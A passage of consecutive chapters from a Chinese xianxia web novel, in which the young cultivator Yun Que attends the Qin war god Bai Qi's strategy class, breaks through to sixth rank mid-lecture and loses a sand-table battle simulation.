云缺嘴上答应,没有立刻行动,而是来到大殿门外,仔细打量。 凌妙清曾经说过,妖魂融入元神,注定难以控制识海空间,具化不出东西,因为月魁的强大妖魂,压制着这片识海空间。 云缺也试过多次,自己确实在识海空间无法完成具化的举动,充其量挤出点黑眼泪。 可刚才出现的大河,又打破了这个规则。 到底怎么回事? 云缺疑惑不已,推开大门走进大殿。 大门一开,月魁立刻传来一声惨叫,痛苦的逃向远处。 云缺反而没什么感觉。 大殿内空荡荡,毫无一物,地面是古老的青色石砖,墙壁为普通的木头,穹顶极高。 云缺在大殿里转了一圈,还是什么感觉也没有。 “怪了,我的识海空间,怎么会有座殿宇?” 闭上眼,试着将大殿抹去。 等睁眼一看,自己还在大殿里,别说抹去大殿,一块砖也没少。 这下云缺更奇怪了。 自己的神识海,不仅多出来一座庞大的殿宇,居然还无法消除。 仔细打量了一番四周。 云缺越看越觉得眼熟,低呼道: “这不是文殿吗!” 如果将殿宇缩小百倍,确实与学宫内的文殿一模一样,只是少了儒圣雕像而已。 云缺坐在大殿里冥思苦想,始终想不通自己识海怎么会多出一座文殿。 昨天在文殿毫无收获,睡了一觉而已…… 回想起那个奇怪的梦,云缺的神色渐渐变了。 梦里的中年先生,云缺并不认得,但是有点眼熟,好像在什么地方见过,现在回想起来,梦里的先生与儒圣雕像有些神似。 儒圣雕像,年纪已过六旬,是一位威严的老者形态。 梦里的先生,只有四旬年纪,和蔼而普通。 两相对比之下,云缺几乎能确定,梦境里的先生,应该就是儒圣在中年时期的模样! 圣人入梦! 云缺惊疑不定。 这种怪事,云缺未曾经历,不知是好是坏。 第321章 大秦军神 兵道殿的构造,与其他各殿截然不同。 除了一座大殿之外,周围是一排排的营帐,兵道殿的学子们行走坐卧极其整齐,看得出平日里的作息与军旅生涯相似。 兵道殿,简直就是一座学宫内的军营! 兵道殿的学子不如其他学殿的人数多,但每个人的身上都有一股英气,举手投足间,隐隐有大将风范。 这一点是演武殿那群武夫比不上的地方。 演武殿完全是武夫的地盘,兵道殿虽然武者较多,但也有其他派系的修行者存在。 来兵道殿的人,大多有着远大的抱负,将来想要在兵道一途有所建树,成为真正的将军。 而演武殿的那群武夫就不行了,整天斗殴打群架,离开学宫也是一群莽夫,靠着修为不低,混个校尉乃至偏将问题不大,想要成为将军,有点难度。 真正的名将,未必要武力过人,很多时候兵道造诣的高低,才是胜负关键。 学宫兵道殿,培养的便是成为名将的人才。 当然这只是学宫的目的,在云缺看来,兵道殿想出人才,恐怕比演武殿的概率都低。 原因只有一个。 兵道殿先生,一年才授课一次! 实在太懒。 云缺与白厌两人来到大殿,发现已经座无虚席,好不容易找了两个位置。 大殿内的构造也与其他学殿不同,座位呈圆环形状,围拢开来,中间是一片空旷区域,摆放着硕大的沙盘。 沙盘上有着不同颜色的小旗,大小不一的小土包,还有些石块堆积成了小型城镇。 兵道殿有沙盘用来推演,云缺一点都不奇怪,毕竟这里是教兵法的地方。 但云缺发现个奇怪之处。 大殿内的学子,可不止兵道殿的人,还有演武殿,道山殿与其他学殿的学子。 从衣服即可分辨,况且齐御就坐在旁边呢。 齐御正跟旁边的学子有说有笑,没看到云缺。 云缺用脚踢了踢齐御的凳子,等对方回过头来,问道: “你不在演武殿打架,跑兵道殿来凑什么热闹。” 齐御一看是云缺,气呼呼的道:“你不在百花殿绣花,跑来凑什么热闹!” “我来学兵道,以后好当个将军。”云缺道。 “废话!谁不想当将军,来这边听课的都想当将军!”齐御理直气壮的道。 “你已经是将军了啊,开门将军。”云缺道。 “啊?是哦,我都忘了!” 齐御挠了挠头,忽然咬牙切齿的道:“什么开门将军!我是邵武国的人,结果大晋封了我个将军,这不是断我后路吗!到底谁那么贱,非得举荐我当将军,别让我逮到他,逮到了打个半死!” 云缺呵呵了两声,结束了这场对话。 不能再聊了,容易露馅。 齐御其实挺倒霉,尽管他在邵武国住青楼,连家都没有,但毕竟来自邵武国,结果莫名其妙被大晋封了个将军,他要想回邵武国,非得被当做奸细不可。 “白师兄,为何兵道殿授课,其他学殿的学子都能来听讲。”云缺询问白厌。 学宫之内,不分高低,外界的地位在学宫里无效,云缺称呼师兄,显得更亲近一些。 “学宫虽是传授学问之地,却并不迂腐,兵道殿的授课太难道,一年仅有一次,许多学子慕名而来,求学心切,学正们也就睁一只眼闭一只眼了。”白厌笑着解释道。 第322章 请先生给钱 兵道殿先生说完,大殿内安静了瞬间,随后沸腾起来。 学子们惊喜不已。 有人高声道: “先生说的是真的吗!我的愿望是冲进六品,先生能满足吗?” 白起颔首道:“可以。” 又有人争着问道: “先生先生!我是大秦人士,我的愿望是能在先生麾下效命!” 白起颔首道:“可以。” 齐御激动的提问道:“我的愿望是冲进五品金身!先生也能满足这种愿望吗!” 白起风轻云淡的道:“可以。” 一名女学子大胆的道:“我的愿望是嫁给先生!先生能否满足我的愿望?” 白起淡然一笑,道:“可以。” 大殿里无比热闹,学子们提出的愿望五花八门,一时间兵道殿成了许愿池。 只要不是飞升成仙或者冲进一品的无礼要求,白起全部同意。 询问愿望的声音当中,终于出现了不同的声音。 “先生有几件法宝?有多少银票?有多少灵石?有没有尚未出嫁的女儿妹子之类的亲戚?” 古怪的问题,吸引了白起的目光,循声望去,是个眉目清秀,精神奕奕的少年郎。 “你叫什么名字。”白起问道。 “云缺,不缺钱的缺。”云缺道。 白起点了点头,似笑非笑的道:“法宝,银票,灵石,女人,你到底想要什么。” 云缺腼腆的笑了笑,道: “我全要。” 旁边的齐御与白厌不动声色的往远处挪了挪椅子…… 不认得! 这等厚颜无耻之人我们肯定不认得! 白起淡然一笑,道: “只要你赢了,你想要的一切全归你。” 云缺立刻精神起来,挽起袖子第一个报名。 白厌与齐御也站起来报名,一时间大殿内有上千人想要参加这次沙盘推演。 人太多,名额只有五十个。 在众人觉得肯定有筛选条件的时候,白起直言道: “以境界划分资格,不到六品者,无缘此次推演,境界低微,代表着神魂虚弱,不适合入沙盘。” 先生说完规则,大殿里哀叹四起。 六品的学子,在学宫内可不多,在场的数千人当中,达到六品的仅有百余人而已。 别人没有怨言,毕竟修为不足,入沙盘推演有可能受伤。 但云缺不同,他的神魂之力别说入推演沙盘,即便是真正的战场也毫无问题。 云缺抗议道: “先生所言的规则,学生觉得并不公平!我的神魂一点都不虚弱,不比六品差,为何不许入沙盘。”.m 白起道: “世间本无公平可言,规则,由强者制定,你若不服气,可以在推演结束之前冲进六品宗师,我给你留一支小旗。” 武道殿先生的狂妄,不在于言谈,而是刻在了骨子里,这番话一出,但凡学子,没人敢反驳。 给你机会了,你可以当场进阶不就行了。 可是谁都知道,当场进阶这种事肯本不可能。 傲气这种东西,大秦军神的确展现得淋漓尽致,然而白起并未想到,他面前的年轻人,同样有着一身傲骨。 当然云缺除了傲骨之外,占便宜的天赋更是无人能及。 “学生不服气!现在我就开始进阶,如果推演结束之前我冲进六品宗师,先生给什么奖励。”云缺大大方方的道。 白起笑了起来,道: “今日你若能当场入宗师,你到五品的所有资源,我全包了。” “好!先生可得说话算数,给我留一支小旗!” 云缺说罢拿出燕血露,一口喝干,坐在椅子上开始冲击境界。 旁边众人看得啧啧称奇。 没见过有人当着上千人的面破境的,这位胆子可真大,不怕被人打扰走火入魔。 云缺当然不怕。 原本境界已经到了七品巅峰,只差临门一脚,冲击六品也就这两天的事,正好在这冲击境界,还有好处可拿。 七品到六品都得一百万两打底儿,六品到五品肯定需要天价的资源。 有人包了一个大境界的资源,这种好事儿,打着灯笼都找不到! 沙盘旁,白厌和齐御各自抓起一支小旗,随后达到六品的学子们纷纷争抢小旗。 五十支小旗,很快被瓜分一空。 没人给云缺留小旗,因为没人相信云缺当场能成为宗师,包括白厌和齐御在内,都觉得云缺在说大话而已。 推演开始之前,白厌躬身一礼,提出一个问题。 “当年百川之战,学生有所耳闻,先生以五万兵力大破七国五十万联军,敢问先生,此战大捷之后,那七国可否再次聚集兵力反攻?”.m 白起缓缓摇头,道: “没有。” 白厌不解道: “百川遍布绝险,地势极其重要,为兵家必占之地,失去百川屏障,任何国度都如门户大开,七国兵败,应该卷土重来才对,为何将百川拱手相让?” 白起淡然一笑,道: “百川之战结束后,七国被我逐一击溃,已在云州除名。” 大殿内再次安静下来,能听到一声声倒吸冷气的声音。 白厌的脸上遍布着震惊之色,一时哑口无言。 一战灭七国! 而且还是只以五万兵力迎战五十万大军之后,率军一鼓作气连灭七国! 望着白厌震撼的模样,白起轻笑道: “大晋儒将,你白厌的名头已然不小,不过晋国太小,蜗居之地,出不了真正的将星,云州大地,才是天下名将应该驰骋的战场。” 白厌再次躬身一礼,恭敬道:“先生教诲,学生莫不敢忘。” 白起摆了摆手,道: “不是教诲,而是替你庆幸,你该庆幸我在这里教书,若战场相遇,我早已杀进天祈城。” 对于白起的狂傲,白厌丝毫没有反驳,而是觉得理所应当。 如果在战场遇到大秦军神,白厌没有一丝丝的胜算,整个大晋算上阜南王,恐怕也挡不住白起的大军。 白厌再次问道: “学生有一事不解,先生乃大秦军神,秦皇虎视云州,先生作为秦皇左膀右臂,为何不在军中效力,反而到了学宫成为先生?” 白厌的问题,其实很多学子也有此疑惑。 白起正值壮年,又是大秦军神,相当于秦军的定海神针,这样一位风云人物,居然跑到学宫任教,成了先生。 就好比买卖正值兴隆赚大钱的时候,突然不干了,跑去出家当了和尚。 学宫先生,其实与出家没有太大不同。 一入学宫,便与外界彻底隔离开来,之前是诸侯也好,帝王也罢,走进学宫大门,世俗的身份便再无用处。 正常来看,白起这种人物,不可能来学宫任教的,可偏偏人家在学宫里当先生已经好几年了。 白厌这个问题憋在心里多年,今日见到先生,所以想问个究竟。 白起沉默了一下,道: “此事说来话长,倒也不是什么秘密,是我曾经打赌输了,才来学宫任教十年。” “打赌输了?”白厌惊奇道:“先生能否说说,究竟与何人的赌注?” 一众学子立刻期待起来,纷纷恳求,想要听听先生的十年赌约。 白起狂傲不假,但为人并不清高,很接地气,毕竟身为武夫,行事大多畅快,既然学子们满心好奇的询问,白起洒然一笑,讲述起来。 “这场赌约,要从九年前大秦攻打岩国开始说起,当时我率军十万,奇袭千里,绕开岩国几座重镇,直接兵临皇城。” “当时的十万兵力,并不足以围困一座皇城,唯有攻城一途,开战之前,岩国皇帝登上城头,与我打赌,三天之内,我能取下他的人头,岩国所有守军不再抵抗,尽数归入大秦。” “三天内如果我没能取下皇帝的人头,我就去天祈学宫教书十年,而且定下规则,岩国皇帝就在皇宫之内,不会逃走。” “如此简单的赌注,在我看来把握十足,一座皇城而已,挡不住我的十万大军,于是痛快的答应下来,至此赌约成立。” “战斗开始后,我用了不到半天时间便攻进皇城,杀进皇宫,然而却找了整整三天,始终没找到岩国皇帝。” “那场赌约,我输了,于是来到天祈学宫,成为兵道殿的先生。” 白起讲完,大殿里的众人更觉得好奇。 十万大军杀进皇城,却找不到皇帝,这是什么原因? 齐御挠着头,疑惑道: “皇帝说了不会离开皇宫,难道皇帝食言,自己跑了?要是跑了的话,相当于皇帝作弊,先生也没输啊!” 白起缓缓摇头,道: “我的确输了,输得心服口服,岩国皇帝没有逃,他始终在皇宫,他把自己,镶嵌到了墙壁里,成为一幅壁画,就在我眼前,我却没能发现,君王死社稷,岩国皇帝,是秦皇之外,我最敬佩之人。” 众人听得惊疑不已! 一国皇帝,不惜将自己镶进墙壁成为壁画,用自己的一条命,为岩国换来十年太平。 尽管白起讲述得波澜不惊,但听在学子们的耳中,都有着一种血淋淋的感觉。 国度之间的战争,居然残酷到如此地步。 学子当中尤其白厌这种军中将领,更是深有感触,暗暗唏嘘。 讲述完这段往事,白起抬起单掌朝着沙盘一按,整座沙盘开始变幻起来。 “沙盘推演,现在开始。”白起沉声道。 拿到小旗的五十人,纷纷神色肃穆,准备着进入沙盘,重演一番当年的百川之战。 就在推演即将开始之际,突然一个不协调的声音传来。 “先生等等,还有我呢。” 白起扭头一看,又是云缺。 而且云缺的姿态很奇怪,很恭敬的躬身施礼,两只手却抬了起来,手心朝上。 白起神色变得不快起来,道: “规则已经定好,不到六品,没资格入沙盘。” 白起为人爽快,最不喜欢婆婆妈妈胡搅蛮缠之人,他现在觉得云缺就是这种人。 刚刚才说过规则,你小子又来凑什么热闹。 云缺直起身,呵呵一笑,浑身气机运转,瞬间向四周溢散开来。 感受到云缺远超七品的气机波动之际,白起的愠怒神色立刻变成了愕然。 白厌,齐御,周围五十个准备入沙盘的学子齐齐怔在原地,目瞪口呆。 先生讲了个故事的时间而已,云缺居然突破到六品,成为了宗师境的武夫! 没人见过如此惊人的进阶速度! 哪怕大秦军神白起,也被震惊得瞠目结舌。 云缺面带微笑,好整以暇的抬了抬左手,道: “请先生给旗。” 又抬了抬右手。 “请先生给钱。” 壹趣文学为你提供最快的斩妖更新,第322章 请先生给钱免费阅读。 第323章 熬完十年一身债 其实云缺也没想到,自己进阶六品宗师境会如此快速,如此顺利。 那种水到渠成的顺畅感,根本不像进阶一个大境界,倒像斩杀了一群妖物后的畅快淋漓。 直至确定自己完全达到了宗师境,云缺终于能彻底断定,从小开始的斩妖之旅,儿时的艰苦磨练,绝非无用功,而是意义非凡。 斩妖十万,换来的,是无与伦比的扎实基础! 别的武者凭借一些天赋加上大量财富,年纪轻轻即可冲进七品甚至六品。 云缺则在九品八品境界徘徊了十多年,看似浪费岁月,实则始终在堆积经验,打造根基。 万丈高楼平地起,最主要的,是根基是否牢固。 根基越牢固,楼就能建得越高、越结实,反之,基础若不牢固,不仅楼盖得不高,还有着坍塌的风险。 冲进六品之后,云缺的心里十分畅快,却没有太多的喜悦。 因为六品还远远不够! 他的目标,是一品武夫,乃至超品强者! 想要攀升到武道之巅,根基与天赋自然重要,但银子更不可或缺。 于是云缺伸出双手,笑容满面的找先生要钱。 谁让面前这位学宫最狂先生,大秦军神,是个不折不扣的冤大头呢。 七品到六品至少一百万银子打底儿,六品到五品没个一千万估计想都别想。 云缺很是庆幸,今天这堂课来对了。 学不学兵道无所谓,关键冲到五品金身的所有资源有了着落。 白起很意外,也很震惊。 这位来自仙武大秦的军神,怎么也没想到,居然当真有人在自己的课堂上冲击境界,还能成功。 云缺外溢的气机,是不折不扣的六品宗师境,白起感知得一清二楚。 身为先生,又是大秦军神,白起无法言而无信,只能认栽。 目光复杂的看了看云缺,白起颔首道: “后生可畏。” 简单四个字,份量极重。 如果是外面的普通教书先生,说出这四个字,代表着学生的天赋很高,将来有机会金榜题名。 可是从白起口中说出这四个字,代表着一种认可。 能让大秦军神认可的武夫,普天之下,可没有几个。 白起说话算话,当场掏兜儿,送给云缺一瓶金乌丹,共十粒。 金乌丹是六品宗师武者常用的丹药,可强化本体,为五品金身打基础,一粒至少三万两以上,一瓶的价值少说三十万两。 一次给出三十万两的灵丹,如此手笔,看得其他学子羡慕万分,眼红不已。 随后白起又拿出一支小旗,允许了云缺参加推演。 小旗的数量变成了五十一支。 至于多出的一万敌军,对白起来说无关紧要,这次百川之战的推演,别说多一万敌军,再多十万,白起也有绝对的把握立于不败之地。 云缺接过小旗和丹药,道谢后,再次伸着手,道: “十粒金乌丹对于冲击五品来说,九牛一毛,还请先生将剩余资源交给学生,以后学生就不来麻烦先生了。” 三十万两哪够冲击五品,云缺的目标是上千万白银的资源。 白起道: “金乌丹药效霸道,初入六品的武者数日方可炼化一粒,等你将这瓶金乌丹用完至少两月之后,到时候再来寻我索要丹药。” 云缺一听这话,立刻警惕起来。 一瓶金乌丹打发我两个月,一年也用不了几瓶,白起已经在学宫九年,与岩国皇帝的赌约是十年,还有一年就走了。 你是要跑啊! 想赖账,门儿都没有! “十粒金乌丹而已,无需两月,一天就没了。” 云缺说着,打开瓷瓶,直接往嘴里倒灵丹。 十粒金乌丹,一口吞掉! 云缺的举动,令周围惊呼四起。 人们不可思议的盯着云缺,看怪物一样。 丹药虽好,没人敢一次吃太多。 一旦无法炼化药效,那么沉积的药力会成为致命的危机,直接将修行者撑爆! 白厌看到云缺的举动,顿时大惊,想要拦,已经晚了。 十粒金乌丹下肚,云缺没事儿人一样伸着手,继续索要。 灵丹而已,别人吃不了太多,云缺可不一样。 妖魂融骨,加上雷精锻体,云缺现在的肉身堪比五阶妖兽,一次吃下十粒金乌丹毫无问题。 只是药效很难快速消化而已,需要回去后继续祭炼才行。 白起也是一惊。 见云缺吃完丹药居然毫发无损,他知道对面的小子肯定有特殊体魄,十粒金乌丹打发不了。 白起拿出一张价值百万两的银票,甩给云缺,道: “用完再来,记住,只能购买修炼所需的资源,若被我发现用在别处,赌约作废。” 云缺高高兴兴的收起银票,深施一礼,道: “先生放心,这笔钱购买的资源我会详细记账,过几天去要钱的时候,账单给先生过目。” 白起听完眼角抽了抽。 过几天还来要钱? 那是一百万两的银票! 就够你花几天是么! 白起现在无可奈何,来学宫快十年,什么好处没有不说,到最后可算要熬完十年了,居然背上一身债。 这先生当的,亏大发了…… 沙盘推演正式开始。 五十一名学子分列在沙盘一侧,神色凝重。 白起站在对面,气机转动之下,沙盘内升腾起一股玄奥的气息,将众人笼罩其中。 但凡拿着小旗的学子,觉得眼前一花,下一刻,竟出现在遍地黄沙的战场。 大殿内, 五十一支小旗落入沙盘,五十一名学子目光变得茫然。 在其他的学子们眼前,沙盘之上出现了五十一个人的身影,只是很小,如指甲盖大小,但能看的十分清晰。 大殿里所有学子聚精会神的盯着沙盘,观看着这场别开生面的百川之战。 云缺出现在沙盘的位置比较靠后,周围全是大小不一的沙丘,身后,是一万名手持钢刀的军兵。 这些军兵面目模糊,如同傀儡,需要云缺下达指令才会行动。 行,走,坐,卧,一套指令尝试过后,云缺满意的点点头,开始了更新奇的尝试。 “倒立,爬行,滚着走,飞起来!” “哦原来飞不起来。” 云缺这边玩得不亦乐乎,其他人也一样,倍感新奇的控制着属于自己的军兵。 五十一名学子出现的位置各不相同,相隔有远有近,其中有三名学子离着很近,一开始便兵合一处。 正要商量着下一步的行动,三名学子忽然听到马蹄踏动的声音。 抬头一看,黑压压的铁骑铺天盖地而来! “是先生!” “先生怎么当先杀过来了?” “先生只有一万骑兵,居然敢冲击我们五十万大军!” 惊呼声刚起,一万骑兵已经到了,几乎是碾压般,将三个学子的三万军兵踏平。 三人相继被斩杀,纷纷出局。 沙盘推演刚开始而已,学子一方,已经损失了三万兵力。 三名淘汰的学子在沙盘外清醒,面带懊恼,低着头回归座位。 实在太丢脸了。 沙盘世界。 白厌登上一座沙丘,瞭望四周,很快发现远处一条黑龙般奔行的一万骑兵。 “原来先生是骑兵,这下麻烦了,学子们肯定都是步兵,想要赢,至少得汇聚十万以上的兵力。” 白厌沉吟稍许,定下计划,开始召集附近的学子。 兵道这方面,白厌有着得天独厚的优势。 他本是禁军指挥使,领兵多年,深知在战场上遭遇骑兵,必须尽快集合足够的兵力才能抵抗,如果五十万大军分散开来,会被逐一击破,毫无胜算。 很快,白厌找到周围的九名学子,凑齐了十万大军。 云缺也寻了过来,加入到白厌的阵营。 在白厌与云缺汇合的这段时间,白起的骑兵已经消灭了十多名学子。 五十万大军,剩下三十多万。 这才刚刚开始没多久,学子一方便损失惨重。 剩下的三十几名学子,分为三处阵营,白厌为首的一处,齐御为首的一处,还有一名比较老成的学子也汇聚了十余万大军。 云缺站在一处沙丘顶端,朝着齐御的方向大吼道: “咱们兵合一处!要不然容易顶不住!” 齐御也站在沙丘上,耀武扬威的撇嘴道: “我才不过去!你想独吞好处,我不上当!” 云缺喊道:“好处平分,我们这边有白将军带队!” 齐御大手一挥,傲然道:“谁还不是个将军,我也是将军!我不能带兵吗,兄弟们说对不对!” “对!齐师兄肯定旗开得胜!” “有齐师兄率领我们,此战必胜!” “演武殿万胜!演武殿无敌!” 十几个学子在齐御身后呜嗷乱叫。 云缺不喊了,直接放弃沟通。 那边一群莽夫,全是演武殿的山炮。 白厌登上沙丘,环顾四周,朝着齐御与另一名领兵的学子喊道: “此处地形适合伏击,我们三方埋伏于此,推演刚刚开始,趁我们军心不稳,先生的骑兵肯定会来,只要骑兵一到,我们三方合力奋战,才有赢的机会,否则必败无疑。” 齐御和另一名学子互相看了看,同意了白厌的计划。 随后三方人马各自准备,就在原地埋伏起来。 沙盘世界时而有风沙大起,加上沙丘众多,白厌选的位置类似山谷,地势较低,的确很适合埋伏。 不提齐御与另一名学子如何排兵布阵,白厌这边先将盾兵与枪兵混合起来,放在最前方,然后是刀兵,最后是弓兵。 有白厌安排,十名学子很快将队形列好。 无需多么费力,只要朝着自己控制的军兵下达命令即可,十分简单。 白厌这边刚刚排列好阵型,迎面飞沙大起。 在狂沙中,白起的骑兵随之而来。 白厌大喜,下令迎敌。 齐御与另一名学子虽然没怎么准备好,但也相继迎战。 三方协力之下,对抗白起的骑兵。 本以为三十多万军兵,即便消耗不掉白起的一万骑兵,怎么也能留下一大半。 结果在风沙里冲出来的骑兵,居然很少,只有三百左右,由于冲锋的速度太快,又有沙石遮掩,让人误以为上万的大军。 三百骑兵一头撞进三方军阵,犹如飞蛾扑火,肯定回不去了。 白厌看清迎面来袭的骑兵人数后,豁然一惊,大吼道: “声东击西!中计了,小心身后!” 当白厌喊出中计这句话的同时,大军后侧出现了骑兵。 站在最后的弓兵直接被斩杀大片,中间的刀兵与前面的枪兵盾兵挤在一起。 刀太短,砍不到骑兵,枪被盾挡住施展不开,原本完美的阵型,瞬间坍塌。 三方学子被骑兵冲击得混乱不堪,进不得进,退不得退。 云缺被夹在乱军当中,很难施展身手,身边左右全是自己的军兵。 “白师兄!擒贼擒王,找到先生才有机会!”云缺大喊道。 “不用找了,我们输了。”白厌站在原地没动,仰着头。 云缺顺着白厌的目光看去。 四周的沙丘上出现了大批骑兵,这些骑兵没有马,手里拿着超大号的铁锹,开始扬沙子。 一片沙土下来,云缺这才发现,原来战阵后方冲击而来的骑兵仅有五千左右,另外一半全是战马。 而三方学子的阵营则如同羔羊般被赶在一起,地势又类似山谷,简直是一座天然的坟墓! 大片的黄沙迎头落下,不多时,学子们的三十万大军尽数被埋葬。 输得彻彻底底。 从战役开始,甚至没人看到白起的影子。 云缺在沙盘外醒来,心里暗暗嘀咕。 这先生什么嗜好啊,这么爱埋人呢,以前肯定没少干! 第324章 敢问先生如何赢我 一场沙盘推演,耗时仅有一个时辰。 学子一方完败, 白厌朝着先生躬身一礼,输得心服口服。 白起背着手,道: “你对这场推演有何感悟,说来听听。” 白厌沉思了一下,道: “先生先出奇兵,消耗我们兵力,故意让剩下的学子集结在山谷地带,再用三百骑兵趁着风沙佯攻,然后迂回战术,进攻后营,同时占据高处地势,借沙土完成最后的绝杀。” “天时,地利,人和,加上一个快字,先生运兵如神,赢得干净利落。” 白起神色不变,道: “你学到了什么。” 白厌恭敬的道: “兵贵神速,声东击西,釜底抽薪,借势而为。” 白起缓缓颔首,道: “儒将之名,你倒是当得上,你有些兵道天赋,不过想要成为云州之上的将星,你还差些火候,这场沙盘推演,真正的东西,你没学到。” 白厌再次施礼,道: “请先生赐教。” 其余学子们纷纷竖起耳朵,认真听着。 这可是难得一遇的机会,大秦军神亲自传授兵道理念。 白起背着手,语气平静的道: “兵者,诡道也,用兵之道在于千变万化,不可执着于一种战术,出其不意,攻其不备才是上策,沙盘之内,我从一开始便始终在试探,试探你们的配合程度,试探你们的兵力部署,试探你们的布阵经验。” “当我斩杀第一个敌人的时候,我便看透了你们的根基,立刻选择速战速决,先摧毁你们零散的兵力,之后你们集结起来,分为三处大军,其实本可以与我抗衡一二,结果你们选了个山谷地势。” “山谷驻军,最易遭遇偷袭,火攻水攻都能令你们伤亡惨重,百川之地,最合适的战法是进退有据,不断拉扯敌军,一旦大军停下,只能宣告失败。” “送你们三个字,变则通,战场局势千变万化,每一个瞬间都是胜负的关键,随机应变,才是将星必须拥有的能力。” 白厌听得入神,其他学子也一样,对先生的教导仔细揣摩。 连齐御那群演武殿的莽夫,此时也在绞尽脑汁理解着先生的教导。 尽管演武殿都是莽夫,但没有傻子,知道先生教导的学问极其难得,能听懂一星半点也有着巨大的好处。 唯独云缺,提出不同的见解。 “先生虽然说得在理,但我觉得沙盘推演先生胜之不武,你用骑兵,我们只有步兵,不公平。” 白起笑了起来,道: “多给你一万骑兵,你们依然没有胜算。” “换成其他兵种行不行?”云缺问道。 “随你选。”白起道。 “我要一万炮兵,人手一门火炮,敢问先生,如何赢我。”云缺就等着对方说大话呢。 此言一出,一众学子们听得目光呆滞。 一万门火炮,你还真敢要哇! 白起的眼角不受控制的抽了抽。 这位大秦军神身经百战,什么样的敌人都见过,唯独没见过这么不要脸的。 云缺昂首站在原地,脸上不红不白,平静得毫无波澜。 脸是什么东西? 咱不知道,咱也没有。 我就拿着一万门火炮怼你脸上,敢问阁下如何应对。 白起被气乐了,道: “给你一万门火炮,你还是赢不了。” “为什么?”云缺道。 “因为我会亲自出战。”白起简短的几个字,说出来带着一种沉甸甸的杀意。 听得在场的学子齐齐打了个寒颤。 一人之力,对抗万炮齐发! 这种能力,四品破军也做不到! 收起沙盘,白起宣布今日授课结束,负手而去。 等白起走到门口,云缺忽然问了句: “百川之战,先生大破七国联军之后,不知那五十万大军下场如何,是被打散了么?” 白起脚步不停,留下四个字。 “尽埋百川。” 先生的身影遥遥远去,留下一群学子在大殿内瞠目结舌。 云缺暗暗道了句果然如此。 这位兵道殿先生,确实有埋人的怪癖。 而且一埋就是五十万! 云缺不由得心生感慨,自己辛辛苦苦十几年,斩了十万妖。 人家一场战役,埋了五十万人。 大秦军神,果然够狠! 云缺忽然想通了一件事。 当初妖山血案,白起之所以没来,未必是狂傲,更有可能是大祭酒根本没叫他来。 就白起这种隔三岔五灭一国的战绩,在云州肯定仇家众多,学宫先生们来自五湖四海,保不准谁的家国被白起灭过,见面还不得打起来。 为了避免意外,当时大祭酒选择了不通知白起。 云缺越想越觉得很有可能。 授课结束,白厌离开学宫,云缺本想回百花殿消化药效,结果刚才吃得有点多,药效过量,开始爆发。 正好齐御与一群演武殿的学子在旁边。 云缺道: “今日天气不错,适合切磋,齐师兄今晚有没有空,敢不敢比试比试,让你们十个一起上也行。” 齐御一听顿时火冒三丈,怒道: “好!比就比!来演武殿,今晚我们奉陪到底!” 旁边的演武殿众人纷纷呼喝。 “你敢打十个?今天让你知道知道演武殿的厉害!” “让他竖着进演武殿,横着出去!”火山文学 “走走走!演武场较量!” 一群武夫气势汹汹,围着云缺来到演武殿,更多演武殿的学子一看到云缺,立刻咬牙切齿摩拳擦掌。 一个时辰之后,云缺毫发无损的回到西楼,盘坐修炼。 今晚的回春殿,人满为患,全是鼻青脸肿的演武殿学子。 其中齐御最惨,人脑袋成了猪脑袋,脸都肿了。 平日里,都是演武殿去围殴其他学殿的学子,那叫一个气势汹汹。 一旦云缺回了学宫,演武殿就变成了被殴打的一方,那叫一个惨不忍睹。 一次兵道殿之行,云缺收获颇丰。 学兵法是其次,云缺本来对领兵也没有兴趣,主要是冲进五品的资源有了着落,百万两的银票,云缺头一次见识。 消化了药效后,特意找房石看一看真伪。 房石确定为真之后,对云缺的财力大加赞许,趁机推荐了好几样灵丹和法器。 西楼三层。 云缺将朔风蝠尸体沉进墨老装尸体的大桶。 里面的药水有防腐效果。 看着桶里狰狞的妖兽,云缺皱眉低语: “到底是不是司徒盼晴……” 牧青瑶曾经问过李玄驹,得知司徒盼晴奉命去寻找灵材。 牧青瑶信了,但云缺没信。 朔风蝠的出现,实在可疑,司徒盼晴出门的时间点又如何巧合,不弄清这件事,云缺始终心神不宁。 翻开墨老留下的炼神术书籍,云缺仔细看了看前三层。 第一层炼尸术,已经大致修成。 书籍上记载的炼尸术,控制炼尸是其一,还有制作炼尸。 成功制作一具炼尸需要很繁杂的过程。 第二层御魂术,不仅能夺舍,主要作用是控制外人的神魂。 相当于第一层控制尸体,第二层控制活人。 之前没细看,现在仔细观看后,云缺对这部法门愈发震撼。 控制活人,这种手段实在匪夷所思! 第三层破神术,顾名思义,以破坏对手的元神为主,修成之后,与人动手的时候无需武道也不用施展法术,直接元神交锋,无往不利,几乎看对方一眼,即可摧毁对方的元神,令其成为行尸走肉。 破神术的描述,更加令人震惊。 恶毒倒是其次,关键这种手段防不胜防,中招之人到死都不知道谁下的手。 从三层法门的详解,云缺了解到修行界真正的残酷之处。 弱小的修行者,永远是案板上的鱼肉,在面对强者之际,只能任人宰割。 感慨之余,云缺盯着最后的炼神术四个字发呆。 第四层没有记载,空白一片,按照墨老的说法,炼神术最后一层无法以记录的形式保存下来,必须得到功法的原本才有机会修炼。 “炼神……莫非最后一层是炼化神魂,将对手直接炼化成活着的傀儡,为己所用?” 想到这里,云缺自己都觉得震惊。 如果当真是炼化神魂,那不就相当于修行者驯化妖兽么,将一个修行者完全变成自己的手下,胆敢有二心,一个念头魂飞魄散。 “哪来的法门,这么邪门……” 云缺暗暗咂舌。 回想了一番地图,铁山国比邻邵武国,不是很大,与大晋的国土相仿。 远倒是不远,但云缺没打算近期去。 以墨老的修为,都被害得差点惨死,说明铁山国的女帝绝非泛泛之辈,必定是修行强者。 而且这么多年过去了,谁知道对方有没有修成炼神术的最后一层。 人家真要修炼成功,云缺现在去了,岂不是肥肉上门,等着被人家一口吃掉。 云缺可不想被炼化神魂,成为别人的傀儡。 去,是肯定要去的。 必须修为足够的时候再去,并且去之前,先得了解铁山国的实力。 即便云缺不去,阜南王也会去。 铁山国的黑铁矿,是阜南王最为看重的东西。 想起阜南王的退路之说,云缺悚然一惊。 白起对白厌说的那句话,云缺印象极其深刻。 ‘你该庆幸我在这里教书,若战场相遇,我早已杀进天祈城。’ 白起既然能说出这话,说明在他的脑海里,大晋,已经是必争之地! 尽管大晋地处偏远,在云州的角落,但大晋的硝石矿,对白起这种军神来说肯定是一块难得的肥肉。 唯有吃掉,才能后顾无忧! 白起还有一年时间便会离开学宫,云缺不由得生出一种紧迫感。 仙武大秦,犹如一头巨兽,慢慢的蚕食着整个云州,没有足够的自保之力,大晋早晚会成为人家的腹中餐。 